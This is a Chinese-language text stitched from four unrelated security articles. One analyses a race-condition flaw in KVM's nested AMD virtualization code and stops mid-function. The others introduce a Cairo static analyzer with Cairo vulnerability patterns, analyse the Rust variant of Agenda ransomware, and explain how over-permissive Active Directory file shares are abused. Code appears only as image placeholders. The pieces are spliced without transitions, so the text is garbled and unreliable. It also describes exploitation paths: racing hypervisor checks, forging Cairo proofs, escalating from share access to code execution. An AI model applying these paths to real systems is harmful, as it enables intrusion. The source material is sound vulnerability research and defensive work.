https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbsAMD 的虛擬化擴展稱為SVM(用於安全虛擬機),為了支持嵌套虛擬化,主機管理程序需要攔截由其guest執行的所有SVM 指令,模擬它們的行為並保持其狀態與底層硬件同步。正確實現這一點非常困難,並且存在很大的複雜邏輯缺陷,使其成為手動代碼審查的完美目標。

0x03 漏洞細節在深入研究KVM 代碼庫和我發現的漏洞之前,我想快速介紹一下AMD SVM 的工作原理,以使文章的其餘部分更容易理解。有關詳細文檔,請參閱AMD64 架構程序員手冊,第2 卷:系統編程第15 章。如果通過設置EFER MSR 中的SVME 位啟用SVM 支持,則SVM 將支持6 條新指令到x86-64。這些指令中最有趣的是VMRUN ,它負責運行VMguest。 VMRUN通過RAX 寄存器獲取一個隱式參數,該參數指向“虛擬機控制塊”(VMCB)數據結構的頁面對齊物理地址,它描述了VM 的狀態和配置。

AMD64架構程序員手冊,第2卷:系統編程第15章:https://www.amd.com/system/files/TechDocs/24593.pdfVMCB 分為兩部分:首先是狀態保存區,它存儲所有guest寄存器的值,包括段和控制寄存器。第二,控制區,描述了虛擬機的配置。 Control 區域描述了為VM 啟用的虛擬化功能,設置攔截哪些VM 操作以觸發VM 退出並存儲一些基本配置值,例如用於嵌套分頁的頁表地址。

用於嵌套分頁的頁表地址:https://en.wikipedia.org/wiki/Second_Level_Address_Translation如果正確準備了VMCB,VMRUN 將首先將主機狀態保存在主機保存區的內存區域中,其地址是通過向VM_HSAVE_PA MSR 寫入物理地址來配置的。一旦保存了主機狀態,CPU 就會切換到VM 上下文,並且VMRUN 僅在由於某種原因觸發VM 退出時才返回。

SVM 的一個有趣方面是,VM 退出後的許多狀態恢復必須由管理程序完成。一旦發生VM 退出,只有RIP、RSP 和RAX 會恢復為之前的主機值,所有其他通用寄存器仍包含guest值。此外,完整的上下文切換需要手動執行VMSAVE/VMLOAD 指令,這些指令從內存中保存/加載額外的系統寄存器(FS、SS、LDTR、STAR、LSTAR……)。

為了使嵌套虛擬化工作,KVM 會攔截VMRUN 指令的執行,並基於L1 guest準備的VMCB(在KVM 術語中稱為vmcb12)創建自己的VMCB。當然,KVM 不能信任guest提供的vmcb12,並且需要仔細驗證最終在傳遞給硬件(稱為vmcb02)的真實VMCB 中的所有字段。

AMD 上用於嵌套虛擬化的KVM 代碼大部分在arch/x86/kvm/svm/nested.c中實現,攔截嵌套guest的VMRUN 指令的代碼在nested_svm_vmrun 中實現:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kvm/svm/nested.c?h=v5.11

intnested_svm_vmrun(structvcpu_svm*svm)

{

intret;

structvmcb*vmcb12;

structvmcb*hsave=svm-nested.hsave;

structvmcb*vmcb=svm-vmcb;

structkvm_host_mapmap;

u64vmcb12_gpa;

vmcb12_gpa=svm-vmcb-save.rax;**1**

ret=kvm_vcpu_map(svm-vcpu,gpa_to_gfn(vmcb12_gpa),map);**2**

ret=kvm_skip_emulated_instruction(svm-vcpu);

vmcb12=map.hva;

if(!nested_vmcb_checks(svm,vmcb12)){**3**

vmcb12-control.exit_code=SVM_EXIT_ERR;

vmcb12-control.exit_code_hi=0;

vmcb12-control.exit_info_1=0;

vmcb12-control.exit_info_2=0;

gotoout;

}

.

/*

*Savetheoldvmcb,sowedon'tneedtopickwhatwesave,butcan

*restoreeverythingwhenaVMEXIToccurs

*/

hsave-save.es=vmcb-save.es;

hsave-save.cs=vmcb-save.cs;

hsave-save.ss=vmcb-save.ss;

hsave-save.ds=vmcb-save.ds;

hsave-save.gdtr=vmcb-save.gdtr;

hsave-save.idtr=vmcb-save.idtr;

hsave-save.efer=svm-vcpu.arch.efer;

hsave-save.cr0=kvm_read_cr0(svm-vcpu);

hsave-save.cr4=svm-vcpu.arch.cr4;

hsave-save.rflags=kvm_get_rflags(svm-vcpu);

hsave-save.rip=kvm_rip_read(svm-vcpu);

hsave-save.rsp=vmcb-save.rsp;

hsave-save.rax=vmcb-save.rax;

if(npt_enabled)

hsave-save.cr3=vmcb-save.cr3;

else

hsave-save.cr3=kvm_read_cr3(svm-vcpu);

copy_vmcb_control_area(hsave-control,vmcb-control);

svm-nested.nested_run_pending=1;

if(enter_svm_guest_mode(svm,vmcb12_gpa,vmcb12))**4**

gotoout_exit_err;

if(nested_svm_vmrun_msrpm(svm))

gotoout;

out_exit_err:

svm-nested.nested_run_pending=0;

svm-vmcb-control.exit_code=SVM_EXIT_ERR;

svm-vmcb-control.exit_code_hi=0;

svm-vmcb-control.exit_info_1=0;

svm-vmcb-control.exit_info_2=0;

nested_svm_vmexit(svm);

out:

kvm_vcpu_unmap(svm-vcpu,map,true);

returnret;

}該函數首先從當前活動的vmcb ( svm-vcmb ) 中獲取1中的RAX 的值。對於使用嵌套分頁的guest,RAX 包含一個guest物理地址(GPA),需要先將其轉換為主機物理地址(HPA)。 kvm_vcpu_map ( 2 ) 負責此轉換並將底層頁面映射到可由KVM 直接訪問的主機虛擬地址(HVA)。

映射VMCB 後, 將調用nested_vmcb_checks在3 中進行一些基本驗證。之後, 在KVM通過調用enter_svm_guest_mode ( 4 )進入嵌套的guest context之前,將存儲在svm-vmcb中的L1 guest context 複製到主機保存區svm-nested.hsave中。

intenter_svm_guest_mode(structvcpu_svm*svm,u64vmcb12_gpa,structvmcb*vmcb12)

{

intret;

svm-nested.vmcb12_gpa=vmcb12_gpa;

load_nested_vmcb_control(svm,vmcb12-control);

nested_prepare_vmcb_save(svm,vmcb12);

nested_prepare_vmcb_control(svm);

ret=nested_svm_load_cr3(svm-vcpu,vmcb12-save.cr3,

nested_npt_enabled(svm));

if(ret)

returnret;

svm_set_gif(svm,true);

return0;

}

staticvoidload_nested_vmcb_control(structvcpu_svm*svm,

structvmcb_control_area*control)

{

copy_vmcb_control_area(svm-nested.ctl,control);

.

}查看enter_svm_guest_mode 我們可以看到KVM 將vmcb12 控制區直接複製到svm-nested.ctl 中,並且不會對複制的值進行任何進一步的檢查。

熟悉double fetch 或Time-of-Check-to-Time-of-Use 漏洞的讀者可能已經在這裡看到了一個潛在問題:在nested_svm_vmrun 開頭對nested_vmcb_checks的調用對VMCB的副本執行所有檢查,該副本是存儲在guest內存中。這意味著具有多個CPU 內核的guest可以在nested_vmcb_checks 中驗證VMCB 中的字段後,在將它們複製到load_nested_vmcb_control 中的svm-nested.ctl 之前修改它們。

讓我們看一下nested_vmcb_checks ,看看可以用這種方法繞過什麼樣的檢查:

staticboolnested_vmcb_check_controls(structvmcb_control_area*control)

{

if((vmcb_is_intercept(control,INTERCEPT_VMRUN))==0)

returnfalse;

if(control-asid==0)

returnfalse;

if((control-nested_ctlSVM_NESTED_CTL_NP_ENABLE)

!npt_enabled)

returnfalse;

returntrue;

}control-asid 沒有使用,最後一次檢查僅與不支持嵌套分頁的系統相關。

SVM VMCB 包含一個bit,用於在guest內部執行時啟用或禁用VMRUN 指令的攔截。硬件實際上不支持清除此位,並會導致立即VMEXIT,因此,nested_vmcb_check_controls 中的檢查只是複制了此行為。當我們通過反复翻轉INTERCEPT_VMRUN 位的值來競爭並繞過檢查時,我們最終可能會遇到svm-nested.ctl 包含0 代替INTERCEPT_VMRUN 位的情況。要了解影響,我們首先需要了解嵌套的vmexit 在KVM 中是如何處理的:

主SVM退出處理句柄是在arch/x86/kvm/svm.c中的函數handle_exit ,每當發生VMEXIT被調用就會調用此函數。當KVM 運行嵌套的guest時,它首先必須檢查退出是否應該由它自己或L1 管理程序處理。為此,它調用了函數nested_svm_exit_handled ( 5 ),如果vmexit 將由L1 管理程序處理並且不需要由L0 管理程序進一步處理,則該函數將返回NESTED_EXIT_DONE :

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kvm/svm/svm.c?h=v5.11

staticinthandle_exit(structkvm_vcpu*vcpu,fastpath_texit_fastpath)

{

structvcpu_svm*svm=to_svm(vcpu);

structkvm_run*kvm_run=vcpu-run;

u32exit_code=svm-vmcb-control.exit_code;

if(is_guest_mode(vcpu)){

intvmexit;

trace_kvm_nested_vmexit(exit_code,vcpu,KVM_ISA_SVM);

vmexit=nested_svm_exit_special(svm);

if(vmexit==NESTED_EXIT_CONTINUE)

vmexit=nested_svm_exit_handled(svm);**5**

if(vmexit==NESTED_EXIT_DONE)

return1;

}

}

staticintnested_svm_intercept(structvcpu_svm*svm)

{

//exit_code==INTERCEPT_VMRUNwhentheL2guestexecutesvmrun

u32exit_code

我們正在開源Amarna,這是我們用於Cairo 編程語言的新靜態分析器和linter(檢查代碼風格/錯誤的小工具)。 Cairo 是一種編程語言,為擁有數百萬美元資產的多個交易交易所提供支持(例如由StarkWare 驅動的dYdX),並且是StarkNet 合約的編程語言。但是,與其他語言不同,它也有一些奇怪的功能。因此,我們將首先簡要概述該語言、其生態系統以及開發人員應注意的該語言中的一些漏洞。然後,我們將介紹Amarna 並討論它是如何工作的?

為什麼我們需要Cairo? Cairo以及類似的語言(如Noir和Leo)的目的是編寫“可證明的程序”,其中一方運行程序並創建一個證明,證明它在給定特定輸入時返回特定輸出。

假設我們想將程序的計算外包給某個服務器,並且需要保證結果是正確的。使用Cairo,我們可以獲得程序輸出正確結果的證明;我們只需要驗證證明而不是自己重新計算函數(這將違背外包計算的初衷)。

總之,我們採取了以下步驟:

1.導出我們要計算的函數。

2.使用的具體輸入在工作設備上運行該函數,獲得結果,並生成計算有效性的證明。

3.通過驗證證明來驗證計算。

Cairo編程語言如上所述,Cairo 編程模型涉及兩個關鍵角色:運行程序並創建程序返回特定輸出的證明的驗證程序,以及驗證驗證程序創建的證明的驗證程序。

然而,在實踐中,Cairo 程序員實際上不會自己生成或驗證證明。相反,生態系統包括以下三個部分:

1.SHARed Prover (SHARP) 是一個公共驗證程序,它為用戶發送的程序跟踪生成有效性證明。

2.證明驗證程序合約驗證程序執行的有效性證明。

3.可以查詢事實註冊合約來檢查某個事實是否有效。

事實註冊表是一個數據庫,用於存儲程序事實,或從程序及其輸出的哈希計算的值;創建程序事實是將程序綁定到其輸出的一種方法。

這是Cairo的基本工作流程:

1.用戶編寫程序並將其跟踪提交給SHARP(通過Cairo Playground 或命令cairo-sharp)。

2.SHARP 為程序跟踪創建一個STARK 證明,並將其提交給證明驗證程序合約。

3.證明驗證程序合約驗證證明,如果有效,則將程序事實寫入事實註冊表。

4.任何其他用戶現在都可以查詢事實註冊表合約以檢查該程序事實是否有效。

還有兩件事要記住:

Cairo 的內存是一次性寫入的:一個值寫入內存後,就無法更改。

assert語句assert a=b的行為會根據a是否被初始化而不同:如果a 未初始化,則assert 語句將b 分配給a;如果a 被初始化,assert 語句斷言a 和b 相等。

儘管Cairo 的語法和關鍵字的細節很有趣,但我們不會在這篇文章中討論這些主題。

設置和運行Cairo代碼現在我們已經簡要地概括了Cairo語言,接下來討論如何設置和運行Cairo代碼。考慮以下簡單的Cairo程序。這個函數計算一對數字(input, 1) 的Pedersen 哈希函數,並在控制台中輸出結果:

1.png

要設置Cairo 工具,我們使用Python 虛擬環境:

2.png

然後,我們編譯程序:

3.png

最後,我們運行程序,它將輸出以下值:

4.png

這個值就是(4242, 1)的Pedersen hash對應的字段元素。

現在,假設我們將輸入從4242 更改為某個隱藏值,而是為驗證程序提供以下輸出:

5.png

為什麼驗證程序會相信我們?好吧,我們可以證明我們知道使程序返回該輸出的隱藏值!

為了生成證明,我們需要計算程序的哈希來生成程序事實。這個哈希值不依賴於輸入值,因為賦值是在一個提示中進行的(這是Cairo的一個奇怪設置,我們將在本文後面討論):

6.png

6.2.png

然後,我們可以通過使用事實註冊表合約並以程序事實作為輸入調用isValid 函數來檢查程序事實的有效性:

7.png

調用isValid 函數檢查程序事實有效性的結果。

概括地說,我們運行了程序,SHARP創建了一個可以在事實註冊表中查詢的證明,以檢查其有效性,證明我們確實知道將導致程序輸出該值的輸入。

現在,我實際上可以告訴你,我使用的輸入是71938042130017,你可以繼續檢查結果是否匹配。

Cairo功能Cairo有幾個奇怪功能,新的Cairo程序員可能還使不習慣。我們將描述三個容易被濫用並導致安全問題的Cairo 習慣:Cairo 提示、遞歸和欠約束結構之間的相互作用以及非確定性跳轉。

提示

提示是特殊的Cairo 語句,基本上使驗證程序能夠編寫任意Python 代碼。是的,以Cairo 提示編寫的Python 代碼實際上是被執行的!

提示寫在%{ %} 中。我們已經在第一個示例中使用它們給輸入變量賦值:

8.png

8.2.png

因為Cairo 可以在提示中執行任意Python 代碼,所以你不應該在自己的設備上運行任意Cairo 代碼,這樣做可以將你的設備的完全控制權授予編寫代碼的人。

提示通常用於編寫僅由驗證程序執行的代碼。證明驗證程序甚至不知道提示的存在,因為提示不會改變程序哈希。下面來自Cairo playground的函數計算一個正整數n的平方根:

9.png

該程序通過使用提示中的Python數學庫計算n的平方根。但是在驗證時,這段代碼不會運行,驗證程序需要檢查結果是否真的是平方根。因此,在函數返回結果之前,函數包含一個檢查,以驗證n是否等於res * res。

Underconstrained結構Cairo 缺乏對while 和for 循環的支持,程序員只能使用原有的舊遞歸進行迭代。讓我們考慮一下Cairo的“動態分配”挑戰。挑戰要求我們編寫一個函數,給定一個元素列表,將這些元素平方,並返回一個包含這些平方元素的新列表:

10.1.png

10.2.png

運行此代碼將按預期輸出數字1、4、9和16。

但是,如果發生錯誤(或錯誤的錯誤)並導致以零長度調用sqr_array 函數會發生什麼?

11.png

基本上,會發生以下情況:

sqr_array 函數將分配res_array 並調用_inner_sqr_array(array, res_array, 0)。

_inner_sqr_array 會將長度與0 進行比較並立即返回。

sqr_array 將返回已分配(但從未寫入)的res_array。

那麼當你在new_array 的第一個元素上調用serialize_word 時會發生什麼?

按原樣運行代碼將導致錯誤,因為new_array的值是未知的:

12.png

按原樣運行上述代碼後出現的錯誤。

但是,請記住,通常你不會運行代碼。你將驗證程序輸出某些值的證據。而且我實際上可以向你證明該程序可以輸出你想要的任何四個值!

13.png

下面的事實將該程序與輸出[1,3,3,7]綁定:

14.png

根據事實註冊合同,這一事實是有效的:

15.png

事實註冊表對程序事實的驗證。

可以看到,由於返回的數組只是分配的,從不寫入(因為它的長度為0,所以遞歸一開始就停止),驗證程序可以在提示中寫入數組,提示代碼不會影響程序的哈希!

惡意的sqr_array 函數實際上如下:

16.png

簡而言之,如果有一些錯誤使數組的長度為0,惡意驗證程序可以創建他想要的任意結果。

你可能會有疑問,惡意驗證程序不能簡單地在程序末尾添加一個提示來以他希望的任何方式更改輸出。好吧,他可以,只要之前沒有寫過那個內存;這是因為Cairo 的內存是一次性寫入的,所以每個內存單元只能寫入一個值。

由於Cairo中內存的工作方式,這種創建最終結果數組的模式是必要的,但它也存在安全問題的風險:跟踪該數組長度的一個簡單的錯誤可能允許惡意驗證程序任意控制數組內存。

非確定性跳躍對於第一次閱讀Cairo的程序員來說,非確定性跳躍是另一種看起來不自然的代碼模式。它們結合提示和條件跳躍來重定向帶有某個值的程序控制流。驗證程序可以不知道這個值,因為驗證程序可以在提示中設置它。

例如,我們可以編寫一個程序,檢查兩個元素x和y是否相等,方法如下:

17.png

運行此程序將返回預期結果(0 表示不同的值,1 表示相等的值):

18.png

然而,這個函數實際上很容易受到惡意驗證程序的攻擊。注意跳躍指令如何僅依賴於提示中的值:

19.png

而且我們知道提示完全可以由驗證程序控制!這意味著驗證程序可以在該提示中編寫任何其他代碼。事實上,不能保證驗證程序確實檢查了x 和y 是否相等,甚至不能保證x 和y 以任何方式使用過。由於沒有其他檢查,該函數可以返回驗證程序想要的任何內容。

正如我們之前看到的,程序哈希不考慮提示中的代碼;因此,驗證程序無法知道是否執行了正確的提示。惡意驗證程序可以通過更改提示代碼並將每個證明提交到SHARP。

那麼我們如何解決這個問題呢?每當我們看到非確定性跳轉時,我們需要確保跳轉是有效的,並且驗證程序需要驗證每個標籤中的跳轉:

21.png

在本例中,該函數足夠簡單,代碼只需要一個if語句:

22.png

在審核Cairo代碼時,我們注意到除了VScode中的語法高亮顯示外,基本上沒有任何形式的語言支持。然後,當我們在代碼中發現問題時,我們希望確保類似的模式不會出現在代碼庫的其他地方。

我們決定為Cairo 構建Amarna,一個靜態分析器,這樣就能夠創建自己的規則並蒐索我們感興趣的代碼模式,不過不一定是安全漏洞,但任何安全敏感操作都需要分析或檢查代碼時需要更多的關注。

Amarna 將其靜態分析結果導出為SARIF 格式,使我們能夠使用VSCode 的SARIF Viewer 擴展輕鬆地將它們集成到VSCode 中,並查看代碼中帶下劃線的警告:

23.png

帶有下劃線的dead store(左)和顯示來自Amarna 的結果的SARIF Viewer 擴展的Cairo 代碼(右)。

Amarna是如何工作的? Cairo 編譯器是用Python 編寫的,它使用解析工具包lark 來定義語法並構建其語法樹。使用Lark 庫,可以直接為程序的抽象語法樹構建訪問者。從這裡開始,編寫規則就是對要在樹中找到的內容進行編碼。

我們編寫的第一條規則是強調算術運算+、-、* 和/的所有用途。當然,並非所有除法的使用都是不安全的,但是在這些操作下劃線後,開發人員會被提醒Cairo算術在有限域上工作,並且除法不是整數除法,就像在其他編程語言中那樣。字段算術下溢和溢出是開發人員需要注意的其他問題。通過突出顯示所有算術表達式,Amarna 幫助開發人員和審查人員快速放大代碼庫中在這方面可能存在問題的位置。

檢測所有分區的規則很簡單:它基本上只是創建帶有文件位置的結果對象並將其添加到分析結果中:

24.png

當我們尋找更複雜的代碼模式時,我們開發了三類規則:

1.本地規則獨立分析每個文件。上述用於查找文件中所有算術運算的規則是本地規則的一個示例。

2.收集規則獨立地分析每個文件,並收集供後處理規則使用的數據。例如,我們有收集所有聲明函數和所有調用函數的規則。

3.在分析所有文件並使用收集規則收集的數據之後,將運行後處理規則。例如,在收集規則找到文件中所有聲明的函數和所有調用的函數之後,後處理規則可以通過標識聲明但從未調用的函數來找到所有未使用的函數。

到目前為止,我們已經實施了10 條規則,其影響範圍從幫助我們審核代碼的信息性規則(標記為Info)到可能對安全敏感的代碼模式(標記為警告):

25.png

雖然這些規則中的大多數屬於信息類別,但它們肯定具有安全含義:例如,未能檢查函數的返回碼可能會非常嚴重(想像一下,如果函數是簽名驗證);錯誤代碼規則將找到其中一些實例。

未使用的參數規則可以找到函數中沒有使用的參數,這是通用編程語言linter 中的常見模式;這通常表明存在使用該參數的某種意圖,但從未實際使用過,這也可能具有安全隱患。

今年,各種勒索軟件即服務組織相繼在Rust中開發了他們的勒索軟件版本,這其中就包括Agenda。 Agenda的Rust變體瞄準了一些重要行業。我們將在本文中介紹Rust變體的工作原理。今年,BlackCat、Hive和RansomExx等勒索軟件即服務(RaaS)組織開發了Rust版本的勒索軟件,Rust是一種跨平台語言,可以更容易地為Windows和Linux等不同的操作系統定制惡意軟件。在這篇文章中,我們介紹了另一個已經開始使用這種語言的勒索軟件組織Agenda(也稱為Qilin)。

根據我們在過去一個月的觀察,Agenda勒索軟件的活動包括在其洩露網站上發布許多公司的信息。攻擊者不僅聲稱他們能夠侵入這些公司的服務器,還威脅要公佈他們的文件。勒索軟件組織在其洩漏網站上發布的公司位於不同的國家,主要屬於製造業和IT行業,總收入超過5.5億美元。

最近,我們發現了一個用Rust語言編寫的Agenda勒索軟件樣本,檢測結果為Ransom.Win32.Agenda.THIAFBB。值得注意的是,同樣的勒索軟件最初是用Go語言編寫的,以針對泰國和印度尼西亞等國家的醫療和教育部門而聞名。攻擊者通過使用洩露的賬戶和唯一的公司ID等機密信息作為附加的文件擴展名,為目標受害者自定義了之前的勒索軟件二進製文件。 Rust變體還使用了間歇性加密,這是當今攻擊者用於更快加密和逃避檢測的新興策略之一。

1.png

VirusTotal中二進製文件的提交詳細信息,包括提交日期和上傳地區

2.png

BinText上顯示二進製文件使用的Rust模塊/函數的字符串

技術分析執行時,Rust二進製文件會提示以下錯誤,要求將密碼作為參數傳遞。這個命令行特性類似於用Golang編寫的Agenda勒索軟件二進製文件。

3.png

執行示例時的錯誤提示

在以“-password”作為參數並結合虛擬密碼“agenda apass”執行示例時,勒索軟件示例將從終止各種進程和服務開始運行其惡意例程。

4.png

終止應用程序和服務

針對我們分析的樣本,勒索軟件將擴展名“MmXReVIxLV”附加到加密文件中。它還在命令提示符上顯示活動日誌,包括已加密的文件和運行時間。

5.png

加密文件示例

6.png

加密文件中的日誌

然後,勒索軟件將繼續在其加密的每個目錄上釋放其勒索通知。正如其勒索說明中所觀察到的,用於執行勒索軟件的密碼也將用作登錄勒索軟件組支持聊天網站的密碼。

7.png

勒索通知

勒索軟件分析不同於Agenda的Golang變體,它接受10個參數,Rust變體只接受3個參數:

8.png

Agenda勒索軟件Rust變體使用的參數

Rust變體在二進製文件中也包含硬編碼配置,就像以前在Golang中編譯的示例一樣。

9.png

包含配置的二進製文件內的函數

10.png

包含配置的字符串

它還在其配置中添加了-n、-p、fast、skip和step標誌,這些標誌在Golang變體配置中不存在,僅通過命令行參數使用。經過進一步分析,我們了解到這些標誌用於間歇性加密。這種策略使勒索軟件能夠根據標誌的值對文件進行部分加密,從而更快地加密受害者的文件。這種策略在勒索軟件攻擊者中越來越流行,因為它可以讓他們更快地加密,並避免嚴重依賴於讀/寫文件操作的檢測。

11.png

用於間歇加密的標誌

12.png

用於間歇加密的標誌

13.png

Agenda勒索軟件Golang變體接受的命令行參數

我們試圖使用其配置中的一些標誌來模擬其加密行為。對於這個模擬,我們使用一個填充“a”作為內容的虛擬文件。

對於快速模式:

值:1

14.png

快速標誌設置為1

加密字節:1*0x200000h,其中1是快速標誌中設置的值

15.png

0x200000h字節加密

對於N-P模式:

16.png

標誌設置為n=1; p=1

總大小=88082336字節,加密的字節數=1 *0x200000,h,其中1是n標誌中設置的值,跳過的字節數=880818字節(整個文件的1%),其中1是p標誌中設置的值。

17.png

加密字節的0x200000h

18.png

880818字節(相當於文件的1%)加密

除了用於不同加密模式的附加標誌之外,Rust變體還將AppInfo包括在要終止的服務列表中。它禁用了用戶帳戶控制(UAC),這是一項Windows功能,有助於防止惡意軟件以管理權限執行,從而導致無法以管理權限運行其他應用程序。

19.png

使用與service_CONTROL_stop等效的參數0x01停止服務的函數

20.png

用於使用等同於SERVICE_DISABLED的參數0x04禁用服務的函數

21.png

禁用AppInfo服務後,無法運行具有管理權限的應用程序

眾所周知,Agenda勒索軟件還可以為每個受害者部署自定義的勒索軟件,我們已經看到,它的Rust變體有一個分配的空間,用於在其配置中添加帳戶,主要用於權限升級。

22.png

在Agenda勒索軟件的Rust變體配置中分配的帳戶

要附加在加密文件上的文件擴展名在其配置中是硬編碼的。

23.png

要附加的文件擴展名

然而,與之前的Golang變體不同,攻擊者在Rust變體的配置中不包括受害者的憑據。後者的這一特性不僅可以阻止其他研究人員訪問勒索軟件的聊天支持網站,還可以在外部提供樣本時訪問攻擊者的對話。它還可以防止來自受害者之外的其他人的主動信息。

24.png

Agenda勒索軟件聊天支持網站

總結Agenda是一個新興的勒索軟件家族,最近一直針對醫療保健和教育行業等關鍵部門。目前,它的攻擊者似乎正在將他們的勒索軟件代碼遷移到Rust,因為最近的樣本仍然缺乏在用Golang變體編寫的原始二進製文件中看到的一些特徵。 Rust語言在攻擊者中越來越受歡迎,因為它更難分析,而且反病毒引擎的檢測率較低。

本文會詳細介紹如何在Active Directory環境中快速地對配置了過多權限的網絡共享進行梳理、利用和修復。過多的共享權限可能導致企業環境中的數據暴露、權限提升和勒索軟件攻擊。另外,我們還將深入探討在主流漏洞管理和滲透測試20年之後,為什麼環境網絡共享配置權限不當還一直困擾著用戶。

最後,我將分享一個名為PowerHuntShares的新開源工具,它可以幫助簡化共享查找和糾正Active Directory環境中過多的SMB共享權限。

下面總結了在大多數Active Directory環境中經常導致大規模網絡共享暴露的根本原因。

資產管理跟踪企業環境中的動態系統非常困難,跟踪不斷變化的共享庫存和所有者則更加困難。即使身份和訪問管理(IAM)團隊通過發現找到一個網絡共享,它也會產生以下問題:

1.誰擁有它?它支持哪些應用程序或業務流程?我們可以刪除高風險訪問控制條目(ACE)嗎?我們可以一起刪除共享嗎?

2.如果你有一個正常運行的配置管理數據庫(CMDB),則可以回答大多數問題。不幸的是,並不是每個人都這樣做。

損壞的漏洞管理許多漏洞管理程序從未被構建來識別那些向經過身份驗證的域用戶提供未經授權訪問的網絡共享配置。他們的重點是識別經典的漏洞(缺失的補丁、弱密碼和應用程序問題),並優先處理不需要身份驗證的漏洞,當然這並不都是壞事。

但是,根據我的觀察,業界只是在過去五年中才對Active Directory生態系統產生了濃厚的興趣。這似乎很大程度上是因為越來越多的暴露和意識到Active Directory(AD)攻擊,這些攻擊嚴重依賴於配置,而不是缺少補丁。

我也不是說IAM團隊沒有努力完成他們的工作,但在許多情況下這是團隊管理的困境。

滲透測試人員一直都知道共享是一種風險,但在Active Directory環境中實施、管理和評估最小權限是一項不小的挑戰。即使對安全社區越來越感興趣,也很少有解決方案可以有效地清點和評估整個Active Directory域或多個域的共享訪問權限。

根據我的經驗,很少有組織一開始就執行經過身份驗證的漏洞掃描,但即使是那些確實缺少常見的過度權限、繼承權限和對環境的總結數據的發現的組織,這些環境提供了大多數IAM團隊做出良好決策所需的洞見。很長一段時間以來,人們一直過度依賴這些類型的工具,因為許多公司有這樣的印象,即它們提供了比它們在網絡共享權限方面更多的覆蓋範圍。

邊界不清大多數大型環境都有主機、網絡和Active Directory域邊界,在執行任何類型的身份驗證掃描或代理部署時都需要考慮這些邊界。試圖準確盤點和評估網絡份額的公司經常錯過一些事情,因為他們沒有考慮隔離其資產的邊界。在評估資產時,請確保在這些邊界內工作。

大量使用云云技術地出現,並不意味著網絡共享會消失。公司需要花上十年的時間才能將大部分的文件存儲基礎設施遷移到雲。

理解NTFS和共享權限在過去的幾年裡,有許多與共享權限管理相關的糟糕實踐已經被吸收到IT文化中,只是因為人們不了解它們是如何工作的。造成過多共享權限的最大原因之一是通過本機嵌套組成員關係繼承權限。此問題也不限於網絡共享。十多年來,我們一直在濫用相同的權限繼承問題來訪問SQLServer實例。在下一節中,我將仔細分析這個問題。

網絡共享權限繼承盲點網絡共享只是使網絡上的遠程用戶可以使用本地文件的一種媒介,但是兩組權限控制著遠程用戶對共享文件的訪問。要了解權限繼承問題,我們可以快速回顧一下NTFS和共享權限在Windows系統上是如何協同工作的。

NTFS權限1.用於控制對本地NTFS文件系統的訪問;

2.會影響本地和遠程用戶;

共享權限1.用於控制對共享文件和文件夾的訪問;

2.只影響遠程用戶;

簡而言之,從遠程用戶的角度來看,首先審查網絡共享權限(遠程),然後審查NTFS權限(本地),但無論如何,最嚴格的權限總是勝出。下面是一個簡單示例,顯示John對共享具有完全控制權限,但對關聯的本地文件夾只有讀取權限。大多數限制性會發揮作用,所以John只能通過共享文件夾對遠程可用的文件提供讀訪問。

1.png

所以這些是基礎,最重要的想法是限制性最強的ACL獲勝。但是,有一些細微差別與繼承域組的本地組有關。為了弄清楚這一點,讓我們簡要介紹一下受影響的當地組織。

大眾大眾組織在大多數配置中為所有經過身份驗證和匿名的用戶提供訪問權限。這個組在許多環境中被過度使用,並且經常導致過度的權限。

內置\用戶默認情況下會添加新的本地用戶。當系統未加入域時,它會按照你的預期運行。

認證用戶該組嵌套在內置\用戶組中。當系統未加入域時,它不會在影響訪問方面做太多事情。但是,當系統加入Active Directory域時,AuthenticatedUsers隱含地包括“域用戶”和“域計算機”組。例如,IT管理員可能認為他們只提供對內置\用戶組的遠程共享訪問權限,而實際上他們將其提供給域中的每個人。下圖有助於說明這種情況。

2.png

這裡的教訓是,對本地和域組關係的一個小小的誤解可能會導致未經授權的訪問和潛在的風險。下一節將介紹如何梳理共享及其訪問控制列表(ACL),以便我們可以定位和修復它們。

網絡共享庫存事實證明,由於一些本地和開源工具,獲得域計算機和相關共享的快速庫存並不難。關鍵在於獲取足夠的信息來回答那些修復工作所需的人員、內容、地點、時間和方式等問題。

共享和權限的發現需要4步:

1.通過輕量級目錄訪問協議(LDAP)查詢Active Directory以獲取域計算機列表。 PowerShell命令如Get-AdComputer(Active DirectoryPowerShell模塊)和Get-DomainComputer(PowerSploit)。

2.可以在這裡提供很大的幫助。確認TCP端口445上與這些計算機的連接。 Nmap是用於此目的的免費且易於使用的工具。如果你想堅持使用PowerShell,還有幾個開源TCP端口掃描腳本。

3.使用你喜歡的方法查詢共享、共享權限和其他信息。 Get-SMBShare、Get-SmbShareAccess、Get-ACL和Get-ObjectAcl(PowerSploit)等PowerShell工具非常有用。

4.其他有助於稍後進行補救的信息包括文件夾所有者、文件計數、文件列表、文件列表哈希和計算機IP地址。你還可以在貴公司的CMDB中找到其中一些信息。 Get-ChildItem和Resolve-DnsNameSome等PowerShell命令也可以幫助收集其中的一些信息。

PowerHuntShares可用於自動執行上述任務(在最後一節中介紹),但無論你使用什麼方法,了解未經授權的共享訪問如何被濫用將有助於你的團隊確定補救工作的優先級。

網絡共享開發配置有過多權限的網絡共享可以通過多種方式被利用,但共享的性質和特定的共享權限將最終決定可以執行哪些攻擊。下面,我概述了一些最常見的攻擊,這些攻擊利用對共享的讀寫入訪問來幫助你入門。

讀取訪問權限濫用勒索軟件和其他攻擊者經常利用對共享的過度讀取權限來訪問敏感數據,如個人可識別信息(PII)或知識產權(源代碼、工程設計、投資策略、專有公式、收購信息等),他們可以利用這些數據開發、出售或勒索你的公司。此外,我們在滲透測試中發現,密碼通常以明文形式存儲,可以用於登錄數據庫和服務器。這意味著在某些情況下,對共享的讀取訪問權限可以在RCE中結束。

下面是一個簡單的例子,說明對網絡共享的過多讀訪問如何導致RCE:

攻擊者入侵域用戶。攻擊者識別web根目錄、代碼備份目錄或dev ops目錄的共享目錄。攻擊者識別以明文形式存儲的密碼(通常是數據庫連接字符串)。攻擊者使用數據庫密碼連接數據庫服務器。攻擊者使用本機數據庫功能來獲得數據庫服務器操作系統的本地管理權限。攻擊者利用共享數據庫服務帳號訪問其他數據庫服務器。

具體示例如下:

3.png

